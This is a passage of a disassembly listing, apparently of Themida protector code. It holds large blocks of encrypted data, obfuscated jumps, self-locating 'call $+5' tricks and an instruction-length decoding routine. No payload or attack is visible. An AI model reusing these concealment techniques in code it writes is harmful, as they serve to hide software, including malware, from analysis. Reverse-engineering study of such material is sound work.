		dd 2FB9F3Bh, 0BB368BDh,	6FE47C3Dh, 0A8414E35h, 0E6032275h
		dd 2F39E179h, 0D51AF8CEh, 0FC2849B8h, 18C058A9h, 0C2D28B05h
		dd 88223F25h, 43544BA6h, 576AE28Ah, 0E967BA00h,	0E57820B8h
		dd 0D6561700h, 87D41B5Eh, 0B72927E3h, 596DDCD4h, 78F31632h
		dd 564338E0h, 5A1FE995h, 0A347140Bh, 833869E7h,	9A3C6DFBh
		dd 448D825Eh, 97CA5C02h, 0DB2DA52h, 0BE21B5BBh,	32E685D6h
		dd 2475F397h, 4065E3h, 48499EE9h, 7DFA71EBh, 0F83D5C02h
		dd 0FF7893B5h, 0EBB8BF5Bh, 58BD8B4Fh, 0BFEE8E4Fh, 399h
		dd 0AE9BB000h, 333DC579h, 363EDA7Eh, 3430D873h,	3430D475h
		dd 3E36BA75h, 0CB46Bh, 400AC61h, 503C365h, 0E06A664h, 0E38953C2h
		dd 4BE56h, 0F3010000h, 4EB835Eh, 5C241C87h, 81E78957h
		dd 4C7h, 4EF8300h, 5C243C87h, 68241C89h, 3535h,	68242C89h
		dd 0AE88955h, 81241C8Bh, 4C4h, 2C8B5400h, 4C48324h, 5CF968h
		dd 241C8900h, 8B08458Fh, 8952242Ch, 4C281E2h, 81000000h
		dd 4C2h, 24148700h, 241C8B5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		dd 29368411h, 0F534D500h, 4A9752ECh
		db 3, 75h
; ---------------------------------------------------------------------------


loc_5DBD0A:				; CODE XREF: Themida_:loc_5DADE8j
		mov	eax, 0AE8978Bh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 69h
		dd 5C2740A6h, 3E3EEA88h, 161D66F3h, 801CE125h, 8B09623Bh
		dd 0EF141E32h, 0DB5D9615h, 7F11937Dh, 0E42EC495h, 0B35ACCB2h
		dd 0B33C02D6h, 0D013F5C1h, 2F5C80A2h, 343A86h, 9B3EDE66h
		dd 667715A2h, 6443CB4Ch, 3E25C9CFh, 0EE6593DBh,	0C424EEDDh
		dd 6C241287h, 215E2069h, 0A23C2FDCh, 0FB7E1A5Eh, 0E8205424h
		dd 11h,	0E366E0DEh, 4F0AE388h, 0AF6B2CAEh, 0A6C9C9A2h
		dd 0AE9D1h, 0E4B40000h,	9BB32C96h, 0A4BAD2EBh, 0F98B665Bh
		dd 7467C381h, 0D38B0000h, 1CF368h, 0BF0F6000h, 0DE8F2h
		dd 6B500000h, 0E03C7FE3h, 54653D94h, 0E9FF1109h, 0Ch, 56F4466Fh
		dd 37F50195h, 0CC73566Ah, 8059615Bh, 38B0AF2h, 830Fh, 0E8810000h
		dd 0F53A3D0h, 40E881FCh, 8B6C21E9h, 1AF081F3h, 0FC4DAEE3h
		dd 870F0389h, 1, 2EB83F5h, 4BFAB70Fh, 1E9814Bh,	0F000000h
		dd 0FFFFC585h, 0D0EE81FFh, 0EB4F8ED0h, 60h, 17h	dup(0)
		dd 0B6AE900h, 5EE90000h, 6800000Bh, 0AE8A16Bh, 0FAE618E9h
		dd 0A29068FFh, 0EE90AE8h, 68FFFAE6h, 0AE8A311h,	0FAE604E9h
		dd 16CFFAFFh, 9E5961A4h, 62A5E92Ch, 0E72055A8h,	6DAEDE33h
		dd 48072BDh, 8EC3B770h,	94C3EFFh, 0FED38740h, 0AA5911CAh
		dd 12527B20h, 4E2B3BF7h, 0C5064938h, 0DAED8E45h, 2454A961h
		dd 0E0EB6FEBh, 0A56AAB27h, 39107C15h, 0DEB35790h, 0BFCC6EAFh
		dd 0BACD0910h, 3F72D941h, 4B9044DDh, 0F645C502h, 751B7E9Ah
		dd 8335A8B2h, 0EC6EAFDEh, 0CBAEAC1Fh, 0E4D94186h, 3EF983D2h
		dd 0FE7C2F1Ch, 0E430F79Bh, 78295134h, 0B8710457h, 54F6A992h
		dd 8F8B4C71h, 4396C9BCh, 78CA76CBh, 844ECCBFh, 69A6D4C4h
		dd 0D5E7B4B6h, 0BC3CF7C1h, 40766BCFh, 6C1FD387h, 3E3B18Eh
		dd 0B0BA96CEh, 0BDEE4CBEh, 3BF6E488h, 3194B665h, 4B74278Bh
		dd 133BF6E4h, 0D85CAE69h, 0F6E46A93h, 0E558433Bh, 33D710A4h
		dd 55A515C8h, 4A8535A8h, 38117BC0h, 88475790h, 0D6A9A620h
		dd 0DFAB5C85h, 24CA3146h, 0A57DCAh, 0B0C6B96Ch,	5C6104D8h
		dd 0A86DB19Bh, 0AB5E87D4h, 740646DFh, 962267B3h, 9B4EBD5Dh
		dd 0DCF19EB1h, 2E1B4476h, 8B000000h, 4DA1A9A6h,	0AADA03A8h
		dd 0BFB346DFh, 0DFAAC3ECh, 3EF19A46h, 87D4A8E8h, 46DFAB5Eh
		dd 0C0084437h, 0C6014998h, 8A2686B0h, 34h, 0A1A9A622h
		dd 18D1E499h, 0D4A8E83Ch, 604604A7h, 0DF90123Bh, 0CD00EB46h
		dd 0F497BA6h, 0DF59F31Ch, 50671A46h, 0CABD7E01h, 0C2D4B78Eh
		dd 14900A8h, 2686B0C6h,	86A4A2A6h, 0FCA8D9D5h, 43C7B43Ch
		dd 0FCA92B58h, 0EC81A13Bh, 11FA60D9h, 703AB9DEh, 8DC7992Ah
		dd 2DDAEE70h, 274D95BFh, 16Ch, 8735A857h, 8C6004Ch, 46772406h
		dd 2F46DFABh, 0D1FBDE7Ch, 1F3BFC80h, 1CDBEF2Ch,	187DF1A9h
		dd 2156B374h, 4978ACE8h, 88B6C803h, 0A1A9A620h,	6104D84Dh
		dd 8B709A5Dh, 5BFF384Eh, 8F80A4F0h, 4476DCE6h, 44EAh, 0A9A69A00h
		dd 23A84DA1h, 763D2B0h,	0BABE9A53h, 0F93E4326h,	5C558586h
		dd 92FE394Bh, 0DF186891h, 0C388ED46h, 2DDECA06h, 8135A8D9h
		dd 1D77C446h, 1498DDDh,	0F286B0C6h, 2C2EE99Fh, 8AB1F5DFh
		dd 2Fh,	87D4A822h, 46DFAB5Eh, 0CE084437h, 0A8E53911h, 0DFAADA03h
		dd 0DB2B9E46h, 5E87D4A8h, 3746DFABh, 98C00844h,	4A8535A8h
		dd 0A4632B0Eh, 0A6268652h, 0D784A6A8h, 46DFAABAh, 0F62E893h
		dd 0C0C8827Dh, 0B6C80349h, 0A9A62088h, 0D0D84DA1h, 76DCE68Fh
		dd 4AEA44h, 0A89A0000h,	5B054823h, 0CC082C05h, 0B1C54D02h
		dd 0B50D4A8h, 46DFAAE2h, 0A384D0BBh, 46DFAB7Ah,	0F0B72853h
		dd 4D8DD46Ah, 0A8849Ah,	64C60149h, 0AB92BBE0h, 624C46DFh
		dd 0C85E87B3h, 0F284F911h, 16164235h, 3B8A2686h, 22000000h
		dd 0B3D6A9A6h, 0F942C80Fh, 0DFAB7DA6h, 8FDC5046h, 46DFAB66h
		dd 51994C3Fh, 0DFAAE10Ah, 14C7B446h, 0DA03A802h, 6346DFAAh
		dd 58817A0Eh, 0A39AF633h, 0A8AEC0h, 0B0C60149h,	0E88A2686h
		dd 22000000h, 8F30A8A6h, 853974Ah, 46DFAAD7h, 0F5325BBEh
		dd 17A51802h, 76CA6EDCh, 0DFAAFC25h, 0EE2AD146h, 0C80349BEh
		dd 0A62088B6h, 0D84DA1A9h, 87D4A8D0h, 46DFAB5Eh, 0E7084437h
		dd 4476DC4Eh, 6C42h, 0A9A63200h, 23A84DA1h, 17867A13h
		dd 0CA0E4A7Bh, 0DF5B78A1h, 9C5E4D46h, 0B2F27FEFh, 9AC126FBh
		dd 46DF1F71h, 0A8E45744h, 0A800A874h, 0AB5E87D4h, 443746DFh
		dd 5E992108h, 17D0F99Ch, 31EA9EF3h, 8612127Eh, 729189F2h
		dd 0D9971450h, 548AAFFFh, 0F6000000h, 0AB002972h, 560546DFh
		dd 46DFAB2Dh, 9C0F1B00h, 4335A5F0h, 94336A5h, 0D6A9A615h
		dd 0DFAB5C85h, 974A3146h, 0DA03A887h, 9E46DFAAh, 0D4A8DB2Bh
		dd 6FE5BCA7h, 0DB35757Ah, 8735A8CBh, 137DCE4Ch,	0BDC19026h
		dd 0FC1EDBECh, 4DBE5C0Fh, 0CCBF780Ch, 492686BAh, 6F42C803h
		dd 0CBF3965Eh, 0AAD0F90Ch, 0F6A546DFh, 7E542703h, 0FFCEB37Bh
		dd 29136601h, 788B81F6h, 6A80A9F2h, 0A65546DFh,	11BB9E6Ah
		dd 4D7114D6h, 1AA4E8Ah,	46DF69D2h, 0D4D599B6h, 69E20B50h
		dd 0D0BB46DFh, 5BE79584h, 0DF69E710h, 1ACDBE46h, 0E45F6DA0h
		dd 0F466D666h, 7B01E14Dh, 0FCD1BA80h, 2B4233F1h, 0A4B26DB5h
		dd 9C4F50DAh, 7114C8B0h, 0A86D0B4Ch, 97D2DA80h,	0F4D52624h
		dd 5CF09C6h, 0EB245545h, 1299C6Fh, 0FBE95E5Ah, 0C04A313Ch
		dd 0FBE8AEDBh, 8A0E2C3Bh, 0E93C6536h, 6A113BFBh, 0FBE8EE17h
		dd 8954C73Bh, 0D96F3CDBh, 0E8256F22h, 0C2364546h, 424F371Ah
		dd 9825D602h, 904D9558h, 19h, 0C80349FCh, 0AB305942h, 231846DFh
		dd 625D6FBFh, 9CD774DAh, 6EDC8F3Fh, 0C803491Eh,	7EC88042h
		dd 35F699FCh, 6EEA2615h, 0F8148F3Dh, 0CDBD6E3Ch, 9DC69569h
		dd 703BF712h, 0FD3E4E8Bh, 0B7914993h, 0FECE8B3h, 6EA33214h
		dd 8D7E9C5Dh, 3E6B30DAh, 2E46D410h, 0D9BC5E9Fh,	61DAEEB3h
		dd 2CE5ACAEh, 1E07F682h, 0E285354h, 0C81DE3E9h,	0EA934490h
		dd 1E477D35h, 21h, 0A6A8A68Eh, 0AABED784h, 0E49746DFh
		dd 7099C246h, 4546DFABh, 9BFE7A56h, 0C47A30F7h,	31h, 26A8A6D0h
		dd 7D0133E8h, 0F9413417h, 0AE0D3665h, 3BE046DEh, 0E08519D1h
		dd 0AF119DEh, 0ADC0DDCEh, 0EE9D46DEh, 0A265294Ch, 0F17953B8h
		dd 7D2DEA9Ch, 8C23A82Dh, 0D9E01F8Eh, 46CB61ABh,	0E3000001h
		dd 8933A5A6h, 0D674B5D8h, 7BFFB265h, 5D387106h,	1085907Dh
		dd 66147528h, 0A83F6FA9h, 0D478035h, 349BDEDh, 790F62C8h
		dd 0EEA16628h, 0B9AC9F6Ch, 771D6C1Dh, 0D8604490h, 8035A8D0h
		dd 0B86BACD1h, 0CC6FA992h, 4476DC23h, 3829h, 0A5A65500h
		dd 0DDE085A5h, 0C30DFE1Ch, 0DA03A8E3h, 0B346DFAAh, 6BEF285Eh
		dd 0A8D92DE0h, 8535A800h, 117BC04Ah, 0E9519638h, 241CEDE2h
		dd 7953CADEh, 8A268625h, 2Ch, 0A323A822h, 0FDD176DBh, 0C9824C88h
		dd 3A82D41h, 46DFAADAh,	0A8DB2B9Eh, 0C2054900h,	9FF286ACh
		dd 5D0E2CEBh, 46DFAB34h, 0F6366209h, 468135A8h,	0A29D2F0Ah
		dd 0A820884Ch, 0E34D3023h, 0C30D729Ah, 0ACC24839h, 0DB8004D8h
		dd 46DFAAB2h, 70B4E08Bh, 76DCE68Fh, 23EA44h, 0A69A0000h
		dd 0A84DA1A9h, 0DFAADA03h, 0B6C8B346h, 9B1D4A8h, 95FF4CCEh
		dd 0C6014991h, 8A2686B0h, 1Bh, 0A1A9A622h, 0DA03A84Dh
		dd 9E46DFAAh, 0A8DB2Bh,	488335A8h, 0A29D2D0Ch, 4926864Ch
		dd 0EF63C700h, 0DFAB93BCh, 0A5F66A46h, 46DFAB7Ch, 9DF7AA51h
		dd 0AB022E7Dh, 0C77C46DFh, 43776A1Bh, 5BB58684h, 0DA90497Eh
		dd 3523A8D2h, 4B60E814h, 0D1E6D33Dh, 0FA7EF218h, 0DF4A88B1h
		dd 0B5DE8D46h, 8846DF49h, 0A8E497E3h, 5BFF3841h, 0D10D7EFCh
		dd 4B82186Ah, 0B638D53Fh, 30EA2754h, 0DF7F7FEBh, 2AD67946h
		dd 204776FFh, 0FFFFFE78h, 0AB527F4Ch, 67FB46DFh, 0A5417014h
		dd 0A4F790A0h, 46DF397Bh, 71995E63h, 588B708Ah,	59E2462Fh
		dd 0ABFCD804h, 46DEDAFEh, 0DED9AAD8h, 8EDD5146h, 46DEDA65h
		dd 26795338h, 46DED9F9h, 0DED9A6D3h, 0DA538046h, 0F4F486DEh
		dd 3337F084h, 0DEDA3F68h, 0B2651686h, 0F375E388h, 27D47CF8h
		dd 5F2F7803h, 56B2DB62h, 861ADE7Ah, 433D0CF5h, 0B1C4ED11h
		dd 7BF8C888h, 5790385Dh, 0AAAEA8E4h, 0E1CD9E5Ch, 0BC7215B0h
		dd 0BEB195CFh, 9CB0C9E4h, 2B0FAh, 5E972200h, 26E1A9ECh
		dd 0AA6D1174h, 2FE89DF0h, 0B576067Bh, 4C38AAC5h, 360BFF38h
		dd 0B1944687h
		dd 261BCF08h, 62E15992h, 0A9AC3E8h, 86733BF7h, 0C8034980h
		dd 7EC88042h, 146DAFFCh, 87F43CF8h, 6FB48479h, 0F4A2A297h
		dd 300D7D6Fh, 6417137Dh, 253865B6h, 0FCB3BF7h, 546A3139h
		dd 0EB320F8Eh, 0CA06C7F6h, 680D2DDEh, 0A2CB9020h, 7B46DF8Ch
		dd 0C96DDD90h, 0ED27E094h, 703FC8Ch, 0DF8C5F94h, 6ED89046h
		dd 0F5F59FCCh, 0DFCC3CF7h, 0F52661Bh, 0B26A3E79h, 22D36F5Fh
		dd 0AD60EB6Fh, 37F098FDh, 0AF995113h, 0A0F3C08Bh, 0BB9FF63Eh
		dd 81059951h, 0F735B1DAh, 0BD97843Bh, 0F9FBC6Ah, 497E9332h
		dd 0B73DDD90h, 507922B3h, 2546DEBFh, 0F4A78376h, 3CF727E2h
		dd 2558E289h, 1A9E5C97h, 0F7362851h, 0C20EFD3Bh, 0BE790346h
		dd 1BE20F9Ch, 65653BF7h, 932247E3h, 14BB05Ah, 0A560A2C9h
		dd 4437320Fh, 5E6F02C6h, 469279E1h, 0EACABCBCh,	0E32C07EFh
		dd 0FDAE8C7Fh, 3CFBE921h, 0E7558F7Ch, 7A14C284h, 18B20C6h
		dd 0B2D90000h, 3E4C8179h, 823409C1h, 0FB09545h,	8B3D10CAh
		dd 5D8D9A50h, 209A5D63h, 0A961DAEDh, 30EA2754h,	8674AFDDh
		dd 759ECD8Dh, 483BF709h, 0A2A65DADh, 590286A4h,	46DFAB30h
		dd 0AB5D86D5h, 4B3046DFh, 0C8004C3Fh, 0F81461A3h, 0C743283Ch
		dd 7FFB4D0Dh, 1287B0FBh, 5E6F3BF7h, 0B6E289E1h,	64B2EA2h
		dd 0B49497C1h, 4B321403h, 237BA4F7h, 0A95246D4h, 14503B6Fh
		dd 9EA4B14h, 0A37E90Dh,	58000001h, 0CF02F831h, 0B78A40BFh
		dd 3316C403h, 0BC91498Eh, 0C1BCF08h, 19D2E2DEh,	0E0596CA1h
		dd 69A6D72Ah, 0F32C5CB1h, 1D4E0C07h, 3BF707F4h,	0A6DE2CC9h
		dd 0D586A4A2h, 3CF8142Bh, 7D78A9D2h, 0E0B82DB7h, 0C7FDC4B0h
		dd 0FDD78A90h, 795CFEADh, 93BCEF53h, 6A3BF6EDh,	0D81CCE81h
		dd 0FEDA15A5h, 1436F19Bh, 8EAC9A5Eh, 8A0E47FDh,	3BD2FE1Fh
		dd 3483F6FFh, 2D2D6716h, 0FA9687Eh, 0A6140732h,	345D0E82h
		dd 946DEB9h, 0BBC33662h, 74B8E7Ch, 77077AC0h, 6FA992B8h
		dd 0D415A69Bh, 0A0C99216h, 7546DEB9h, 0F8334586h, 0DBAFE952h
		dd 0D515D6E6h, 81F568A6h, 281B3154h, 0CA650B88h, 97735D44h
		dd 11C902B2h, 9A50893Ch, 7D5916A7h, 0E306B40Fh,	0FFD2887Bh
		dd 0A32812CDh, 3A9FE60Ch, 2F9BF514h, 0BFE2DBEAh, 310F2DFh
		dd 0F67C2EE1h, 85D614F2h, 3CF7D26Fh, 88ED6D1Eh,	2EE991C0h
		dd 0ED9AFF7Bh, 0EB251634h, 3F91Fh, 0C8AD0000h, 0C90249E0h
		dd 0E35C6C41h, 0BC750267h, 53943B9Eh, 69A2D2B7h, 3FF88CE1h
		dd 0D415A61Bh, 0E82F5336h, 807F0F62h, 8950B99Ah, 405E0h
		dd 0E8830000h, 24043304h, 33240431h, 685C2404h,	45F4h
		dd 57242C89h, 0C781E789h, 4, 4EF81h, 3C870000h,	1C895C24h
		dd 0ECB95124h, 8125E437h, 0A00C6AC9h, 9AC98172h, 8132A226h
		dd 0E67BF5E9h, 42F1811Ah, 497B1639h, 9C69C181h,	0CD89E2FEh
		dd 81240C8Bh, 4C4h, 1C8B5400h, 4C48124h, 51000000h, 24348155h
		dd 56F7424Eh, 4EF18159h, 8956F742h, 8B59084Bh, 8950241Ch
		dd 405E0h, 4050000h, 87000000h,	8B5C2404h, 8950242Ch, 405E0h
		dd 0C0830000h, 24048704h, 0DACBE95Ch, 0EA6EFFFAh, 10DBF206h
		dd 0A440B8ADh, 0C5030AE8h, 8E9C38Bh, 0F000001h,	0A8Ah
		dd 0F88B6000h, 0BD97DE81h, 8D611B60h, 0E8A576B5h, 56006A0Ah
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0F713229Eh, 0D62C0B5Eh, 81605B6Ch, 0E3DDE4F0h, 0F78B6623h
		dd 0B8858D61h, 0F0AE676h, 0A82h, 0D6B46000h, 0CAF6C781h
		dd 0FF614E34h, 10E9D0h,	1F400000h, 0FBD4C596h, 0E46095FFh
		dd 7087B272h, 0FCC39E9Ch, 0FD98C66h, 148Eh, 890F6000h
		dd 0
		dd 6E8h, 29B4E800h, 5EFFC326h, 4C1F661h, 39840Fh, 8BF80000h
		dd 32CB8BFBh, 0FD75AEC0h, 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h
		dd 3F20CD00h, 0B000101h, 8D1874C0h, 0FA8B0C70h,	75A6CB8Bh
		dd 0FA75490Ah, 1B8h, 8B09EB00h,	0B8E4EB00h, 0
		dd 50006ACFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 5660E81Dh, 810Fh, 61590000h, 18C0Fh, 0C7F90000h
		dd 0E8A5B585h, 1013F0Ah, 0FA8D8D00h, 6A0AE8A6h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 6F93C352h, 0E98531A2h, 890AE321h, 0E314798Dh, 29BD890Ah
		dd 290AE306h, 0E31335B5h, 0C985C70Ah, 0A80AE306h, 6A000059h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 2A31C355h, 0DEF90C29h, 6985C7h, 0AE3h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 8A0CC4C3h, 859F2E81h, 0FE9h,	8FA84A00h, 2B0655F5h, 843DEDE0h
		dd 2F7EDF52h, 0DE8h, 44262000h,	12DCE2Ah, 0E0AD7D5Dh, 0B58BBCDFh
		dd 0AE30385h, 69958B5Bh, 0FF0AE32Bh, 0E31161B5h, 0FFBEB20Ah
		dd 0E326B595h, 6860F0Ah, 8B000000h, 0E33191B5h,	0FF006A0Ah
		dd 0E31CD195h, 0EBC08B0Ah, 9220841Dh, 0CECD578Ah, 0AD5DF18Eh
		dd 9A42E3C0h, 69AA961h,	66B2AB22h, 95F45BADh, 0C8E95617h
		dd 88000001h, 7	dup(88004188h),	4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 3000000h, 14h dup(0)
		dd 0C2000000h, 72660008h, 0FE8075h, 11h	dup(0)
		dd 0E9000000h, 353h, 0E855h, 815D0000h,	0E8A8F4EDh, 85C7600Ah
		dd 0AE8A841h, 0
; ---------------------------------------------------------------------------
		cmp	word ptr [esi],	0A166h
		jnz	loc_5DCE12
		mov	dword ptr [ebp+0AE8A845h], 6
		jmp	loc_5DCE36
; ---------------------------------------------------------------------------


loc_5DCE12:				; CODE XREF: Themida_:005DCDFDj
		lea	eax, [ebp+0AE8A849h]
		push	eax
		lea	eax, [ebp+0AE8A899h]
		push	eax
		push	esi
		push	0
		call	sub_5DCE45
		add	esp, 10h
		and	eax, 0FFh
		mov	[ebp+0AE8A845h], eax


loc_5DCE36:				; CODE XREF: Themida_:005DCE0Dj
		popa
		add	esi, [ebp+0AE8A845h]
		mov	eax, [ebp+0AE8A841h]
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5DCE45	proc near		; CODE XREF: Themida_:005DCE23p

var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_AE8A839	= dword	ptr  0AE8A841h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_5], 0
		and	[ebp+var_6], 0
		xor	dl, dl
		and	[ebp+var_1], dl
		cmp	[ebp+arg_0], 0
		jz	loc_5DCE72
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		mov	[ebp+var_2], 1
		jmp	loc_5DCE7E
; ---------------------------------------------------------------------------


loc_5DCE72:				; CODE XREF: sub_5DCE45+16j
		and	[ebp+var_3], 0
		and	[ebp+var_2], 0
		mov	[ebp+var_4], 4


loc_5DCE7E:				; CODE XREF: sub_5DCE45+28j
		push	ebx
		push	esi
		push	edi


loc_5DCE81:				; CODE XREF: sub_5DCE45+91j
					; sub_5DCE45+ADj ...
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5DCE94:				; CODE XREF: sub_5DCE45+76j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 0AE8A9ABh
		lea	ebp, [ebp+0AE8A821h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5DCEC1
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5DCE94


loc_5DCEC1:				; CODE XREF: sub_5DCE45+6Bj
		cmp	cl, 0Bh
		jz	loc_5DCF1E
		cmp	al, 66h
		jnz	loc_5DCEFF
		cmp	[ebp+var_5], 0
		jnz	loc_5DCE81
		cmp	[ebp+var_3], 0
		mov	[ebp+var_5], 1
		jnz	loc_5DCEF7
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		jmp	loc_5DCE81
; ---------------------------------------------------------------------------


loc_5DCEF7:				; CODE XREF: sub_5DCE45+9Fj
		and	[ebp+var_3], 0
		mov	[ebp+var_4], 4


loc_5DCEFF:				; CODE XREF: sub_5DCE45+87j
		cmp	al, 67h
		jnz	loc_5DCE81
		cmp	[ebp+var_6], 0
		jnz	loc_5DCE81
		xor	[ebp+var_2], 1
		mov	[ebp+var_6], 1
		jmp	loc_5DCE81
; ---------------------------------------------------------------------------


loc_5DCF1E:				; CODE XREF: sub_5DCE45+7Fj
		mov	ebx, [ebp+arg_C]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5DCF4A
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5DCF4F
; ---------------------------------------------------------------------------


loc_5DCF4A:				; CODE XREF: sub_5DCE45+E4j
		movzx	edi, al
		shr	edi, 1


loc_5DCF4F:				; CODE XREF: sub_5DCE45+100j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 0AE8AA63h
		lea	ebp, [ebp+0AE8A721h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp+var_7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp+var_6], bl
		jz	loc_5DD0D1
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebp+arg_0+3],	1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	byte ptr [ebp+arg_C+3],	dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	[ebp+var_5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5DD015
		dec	ecx
		jz	loc_5DCFF8
		dec	ecx
		jnz	loc_5DD068
		cmp	[ebp+var_2], 0
		jnz	loc_5DD064
		cmp	[ebp+var_5], 0
		jz	loc_5DCFD7
		mov	byte ptr [ebp+arg_0+3],	2


loc_5DCFD7:				; CODE XREF: sub_5DCE45+188j
		add	byte ptr [ebp+arg_0+3],	4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 0AE8AAEFh
		mov	[ebp+arg_AE8A839], 1
		pop	ebp
		jmp	loc_5DD068
; ---------------------------------------------------------------------------


loc_5DCFF8:				; CODE XREF: sub_5DCE45+16Dj
		cmp	[ebp+var_2], 0
		jnz	loc_5DD042
		cmp	[ebp+var_5], 0
		jz	loc_5DD042
		mov	byte ptr [ebp+arg_0+3],	2
		jmp	loc_5DD042
; ---------------------------------------------------------------------------


loc_5DD015:				; CODE XREF: sub_5DCE45+166j
		cmp	[ebp+var_2], 0
		jnz	loc_5DD05B
		cmp	[ebp+var_5], 0
		jz	loc_5DD04A
		movzx	ecx, byte ptr [ebp+arg_C+3]
		mov	edx, [ebp+arg_4]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5DD042
		mov	byte ptr [ebp+arg_0+3],	cl


loc_5DD042:				; CODE XREF: sub_5DCE45+1B7j
					; sub_5DCE45+1C1j ...
		inc	byte ptr [ebp+arg_0+3]
		jmp	loc_5DD068
; ---------------------------------------------------------------------------


loc_5DD04A:				; CODE XREF: sub_5DCE45+1DEj
		cmp	dl, 5
		jnz	loc_5DD068
		mov	byte ptr [ebp+arg_0+3],	dl
		jmp	loc_5DD068
; ---------------------------------------------------------------------------


loc_5DD05B:				; CODE XREF: sub_5DCE45+1D4j
		cmp	dl, 6
		jnz	loc_5DD068


loc_5DD064:				; CODE XREF: sub_5DCE45+17Ej
		mov	byte ptr [ebp+arg_0+3],	3


loc_5DD068:				; CODE XREF: sub_5DCE45+174j
					; sub_5DCE45+1AEj ...
		dec	byte ptr [ebp+arg_0+3]
		jz	loc_5DD096
		movzx	ecx, byte ptr [ebp+arg_0+3]
		mov	[ebp+arg_0], ecx


loc_5DD078:				; CODE XREF: sub_5DCE45+249j
		movzx	esi, byte ptr [ebp+arg_C+3]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		inc	byte ptr [ebp+arg_C+3]
		dec	[ebp+arg_0]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5DD078
		mov	esi, edx


loc_5DD096:				; CODE XREF: sub_5DCE45+226j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5DD0CB
		cmp	edi, 7Fh
		ja	loc_5DD0CB
		test	bl, 38h
		jnz	loc_5DD0CB
		cmp	[ebp+var_7], 0
		jz	loc_5DD0C5
		movzx	eax, [ebp+var_4]
		jmp	loc_5DD0C8
; ---------------------------------------------------------------------------


loc_5DD0C5:				; CODE XREF: sub_5DCE45+271j
		push	1
		pop	eax


loc_5DD0C8:				; CODE XREF: sub_5DCE45+27Bj
		mov	[ebp+var_1], al


loc_5DD0CB:				; CODE XREF: sub_5DCE45+255j
					; sub_5DCE45+25Ej ...
		mov	dl, byte ptr [ebp+arg_C+3]
		mov	bl, [ebp+var_6]


loc_5DD0D1:				; CODE XREF: sub_5DCE45+136j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5DD0FC
		dec	eax
		dec	eax
		jz	loc_5DD0F2
		and	bl, 7
		add	[ebp+var_1], bl
		jmp	loc_5DD104
; ---------------------------------------------------------------------------


loc_5DD0F2:				; CODE XREF: sub_5DCE45+29Cj
		mov	al, [ebp+var_3]
		add	al, 6
		jmp	loc_5DD101
; ---------------------------------------------------------------------------


loc_5DD0FC:				; CODE XREF: sub_5DCE45+294j
		mov	al, [ebp+var_3]
		add	al, 4


loc_5DD101:				; CODE XREF: sub_5DCE45+2B2j
		add	[ebp+var_1], al


loc_5DD104:				; CODE XREF: sub_5DCE45+2A8j
		mov	al, [ebp+var_1]
		dec	[ebp+var_1]
		test	al, al
		jz	loc_5DD12C
		movzx	ecx, [ebp+var_1]
